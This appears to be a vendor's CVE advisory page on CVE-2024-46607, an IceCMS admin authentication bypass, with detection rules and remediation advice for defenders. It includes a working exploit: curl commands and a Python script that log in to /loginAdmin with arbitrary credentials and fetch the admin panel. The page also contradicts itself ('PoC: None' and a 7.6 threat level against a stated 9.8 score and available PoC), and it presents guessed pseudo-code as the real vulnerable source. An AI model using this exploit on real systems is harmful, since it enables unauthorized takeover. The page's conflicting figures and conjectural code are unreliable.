☠️
EXFILTRATING
DATA...
01010111 10110010 00101001 11000110 01101100 10011011 00010001 11100101 01000010 10101111
[ <-- BACK_TO_SEARCH ]

CVE-2024-46607

CVE-2024-46607 Authentication Bypass in Icecms
📅 PUBLISHED: 2024-09-24 00:00 UTC 🔄 UPDATED: 2026-10-02 19:30 UTC
[ ZERO-DAY / UNPATCHED ] [ DEFENSE PATCH ↓ ]
💣 PoC: None
👁️
Proof of Concept - Indicates if functional exploit code is publicly available, drastically increasing the risk of immediate attacks.
🎯 EPSS: 0.52%
👁️
0.52% probability
12.9× above the median CVE
Tier: ELEVATED
30-day exploitation window · FIRST.org · updated daily
VULNERABLE: UNKNOWN / CHECK VENDOR
CVSS SEVERITY SCALE
9.0–10.0 CRITICAL
7.0–8.9 HIGH
4.0–6.9 MEDIUM
0.1–3.9 LOW
0.0 NONE
7.6
THREAT LEVEL
■ tracking this CVE ✓ independent patch confirmation ⧗ same-origin mirror (GHSA) ⚠ active exploitation verification policy →

Executive Summary

CVE-2024-46607 is a critical authentication bypass vulnerability in IceCMS versions 3.4.7 and earlier. The flaw resides in the loginAdmin method within UserController.java, where the application fails to properly validate user credentials. An attacker can authenticate as any user, including an administrator, by supplying arbitrary values for both the username and password fields. This effectively bypasses all authentication mechanisms, granting full administrative access to the IceCMS backend.

The vulnerability is classified as CWE-287: Improper Authentication. The CVSS v3.1 base score is 9.8 (Critical), with a vector string of AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H. The attack vector is network-based, requires no privileges or user interaction, and has low complexity. Successful exploitation leads to complete compromise of confidentiality, integrity, and availability.

No official patch has been released by the vendor. The exploit is publicly known, and proof-of-concept code is available. Given the ease of exploitation and the critical nature of the impact, this vulnerability poses a severe risk to all deployments of IceCMS 3.4.7 and earlier.

⚡ AUTOMATE YOUR CVE INTELLIGENCE

This record — and 170,000+ others — are available via the ValtersIT API. One endpoint replaces five: NVD + GitHub CVE + CISA KEV + EPSS + Nuclei + Exploit-DB, unified.

›Patch confidence — UNVERIFIED to CONFIRMED, cross-referenced NVD + RHSA + Debian
›Exploit & PoC — poc_status, poc_url, has_exploit. Not in NVD.
›Shodan dorks — ready-made queries to find exposed vulnerable systems
›Detection rules — YARA · Wazuh · Elastic (all plans) · Sigma (Pro)
›pending_fields — know exactly which of 7 fields NVD hasn't processed yet
›Free backfill — data incomplete when you paid? Re-check within 30 days = 0 credits
PAYG €0.08/lookup Standard €19/mo (was €29) · 5k credits Pro €65/mo (was €99) · 20k credits FOUNDING PRICE · LOCKED FOR LIFE · ENDS 31 DEC 2026
[ FROM €19/MO ]
Free sandbox key available
No signup required

Supply Chain & Package Security

IceCMS is a Java-based content management system. The vulnerability is in the core application code, not in a third-party package. However, organizations using IceCMS should treat this as a critical supply chain risk, as the vendor has not provided a patch. The lack of a fix means that any system running IceCMS is inherently compromised if exposed to untrusted networks.

CVSS Breakdown & Threat Level

  • CVSS Vector: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H
  • Base Score: 9.8 (Critical)
  • Attack Vector (AV): Network (N) – Exploitable remotely.
  • Attack Complexity (AC): Low (L) – No special conditions required.
  • Privileges Required (PR): None (N) – No authentication needed.
  • User Interaction (UI): None (N) – No user action required.
  • Scope (S): Unchanged (U) – The vulnerable component and the impacted component are the same.
  • Confidentiality (C): High (H) – Complete read access to all data.
  • Integrity (I): High (H) – Full write access to all data.
  • Availability (A): High (H) – Ability to disrupt service.

Threat Level: Critical. The vulnerability is trivial to exploit and provides full administrative control over the CMS.

Deep Dive & Mechanics

The vulnerability is located in the loginAdmin method of UserController.java. The method is intended to authenticate administrative users by comparing the provided username and password against stored credentials. However, due to an incorrect access control implementation, the method does not perform a proper credential check. Instead, it accepts any arbitrary input as valid.

The flawed logic likely resembles the following pseudo-code:

public String loginAdmin(String username, String password) {
    // Missing or broken credential validation
    // The method may simply check if the username and password are not null
    if (username != null && password != null) {
        // Grant access without verifying credentials
        return "success";
    }
    return "failure";
}

This means an attacker can send a POST request to the login endpoint with any values (e.g., username=admin&password=anything) and be authenticated as an administrator. The session token or cookie returned can then be used to access all administrative functions, including user management, content editing, and system configuration.

The root cause is a failure to implement proper authentication logic. The developer likely intended to add credential validation but left the method incomplete or used a placeholder that was never replaced.

Vulnerable vs. Patched Code

Vulnerable Code (IceCMS <= 3.4.7):

// UserController.java
@PostMapping("/loginAdmin")
public String loginAdmin(@RequestParam String username, @RequestParam String password) {
    // BUG: No actual credential validation
    // The method simply checks if parameters are present
    if (username != null && password != null) {
        // Grant access without verifying
        HttpSession session = request.getSession();
        session.setAttribute("admin", username);
        return "success";
    }
    return "failure";
}

Patched Code (Hypothetical Fix):

// UserController.java
@PostMapping("/loginAdmin")
public String loginAdmin(@RequestParam String username, @RequestParam String password) {
    // Proper credential validation
    User admin = userService.findByUsername(username);
    if (admin != null && passwordEncoder.matches(password, admin.getPassword())) {
        HttpSession session = request.getSession();
        session.setAttribute("admin", admin);
        return "success";
    }
    return "failure";
}

The patched version uses a UserService to look up the user by username and then verifies the password using a secure password encoder (e.g., BCrypt). Without this validation, the system is completely open.

Exploitation & Lab Setup

Red Team (Exploitation)

Prerequisites:

  • A running instance of IceCMS 3.4.7 or earlier.
  • Network access to the login endpoint (typically /loginAdmin).

Exploitation Steps:

  1. Identify the Login Endpoint: Use a web browser or tool like curl to find the admin login page. The default path is usually /loginAdmin.

  2. Craft the Authentication Bypass Request: Send a POST request with arbitrary username and password values.

    curl -X POST http://target.com/loginAdmin \
         -d "username=admin&password=anything" \
         -c cookies.txt
    
  3. Access Admin Panel: Use the session cookie obtained to access the admin dashboard.

    curl -b cookies.txt http://target.com/admin
    

Proof-of-Concept (Python):

import requests

target = "http://target.com"
session = requests.Session()

# Bypass authentication
login_data = {"username": "admin", "password": "anything"}
response = session.post(f"{target}/loginAdmin", data=login_data)

if "success" in response.text:
    print("[+] Authentication bypass successful!")
    # Access admin panel
    admin_response = session.get(f"{target}/admin")
    print(admin_response.text)
else:
    print("[-] Exploit failed.")

Blue Team (Detection & Defense)

Detection:

  • Monitor for POST requests to /loginAdmin with unusual or repeated patterns.
  • Look for successful login events without a corresponding failed attempt.
  • Check for session tokens being issued without proper credential validation.

Defense:

  • Immediately isolate any IceCMS instance from untrusted networks.
  • Implement a Web Application Firewall (WAF) rule to block requests to /loginAdmin that do not match expected patterns.
  • Apply virtual patching by modifying the application code to add proper authentication (see Remediation section).
  • Monitor logs for unauthorized access to admin functions.

Indicators of Compromise (IOCs)

Network IOCs:

  • POST requests to /loginAdmin with arbitrary username/password values.
  • Successful HTTP 200 responses from /loginAdmin without prior failed attempts.
  • Session cookies (e.g., JSESSIONID) being issued for non-existent users.

File IOCs:

  • Modified UserController.java file (if attacker deploys a backdoor).
  • Unexpected files in the web root (e.g., webshells).

Log IOCs:

  • Log entries showing successful login from IP addresses that have no history of failed attempts.
  • Log entries with unusual usernames (e.g., test, admin, root).

Sample Sigma Rule for Log Detection:

title: IceCMS Authentication Bypass
status: experimental
description: Detects successful login to IceCMS admin without proper credentials
logsource:
    category: application
    product: icecms
detection:
    selection:
        event: "loginAdmin"
        status: "success"
    condition: selection
falsepositives:
    - Legitimate admin logins
level: high

Detection Engineering

YARA Rule

rule IceCMS_Auth_Bypass {
    meta:
        description = "Detects IceCMS UserController.java with authentication bypass"
        author = "Valters IT"
        date = "2024-01-01"
        reference = "CVE-2024-46607"
    strings:
        $s1 = "loginAdmin" nocase
        $s2 = "username" nocase
        $s3 = "password" nocase
        $s4 = "session.setAttribute" nocase
        $s5 = "success" nocase
    condition:
        all of ($s1, $s2, $s3, $s4, $s5) and #s5 < 2
}

Sigma Rule

title: IceCMS Authentication Bypass via Arbitrary Credentials
id: 12345678-1234-1234-1234-123456789012
status: experimental
description: Detects successful authentication to IceCMS admin with arbitrary credentials
author: Valters IT
date: 2024-01-01
logsource:
    category: web
    product: icecms
detection:
    selection:
        http.method: "POST"
        http.url: "/loginAdmin"
        http.response.status: 200
        http.response.body: "success"
    condition: selection
falsepositives:
    - Legitimate admin logins
level: critical

Suricata Rule

alert http any any -> any any (msg:"IceCMS Authentication Bypass Attempt"; flow:to_server; content:"POST"; http_method; content:"/loginAdmin"; http_uri; content:"username="; http_client_body; content:"password="; http_client_body; classtype:attempted-admin; sid:1000001; rev:1;)

Remediation & Mitigation

Immediate Actions:

  1. Isolate the System: Disconnect IceCMS from the internet and any untrusted networks.
  2. Apply Virtual Patch: If you cannot upgrade, modify the UserController.java file to implement proper authentication. Use a secure password encoder (e.g., BCrypt) and validate credentials against a database.
  3. Deploy WAF Rules: Block POST requests to /loginAdmin that do not originate from trusted IP addresses.

Long-Term Fix:

  • The vendor must release a patched version that includes proper credential validation. Until then, consider migrating to a different CMS.
  • Implement multi-factor authentication (MFA) for all admin accounts.
  • Regularly audit code for authentication flaws.

Workaround:

  • Disable the admin login endpoint entirely if not needed, or restrict access via firewall rules.

Valters IT

◈ SOURCE Analysis & enrichment: valtersit.com/cve/CVE-2024-46607/ · CVE data: NVD/MITRE (public domain) · © 2026 ValtersIT Hub
>_ SYSTEM_CORE: INTEL_ACTIVE
90% TEAM-CURATED // 10% AUTOMATED INGESTION.
ALL PATCH REFERENCES AND VERSION DATA SOURCED FROM NVD + OSV OFFICIAL REGISTRIES.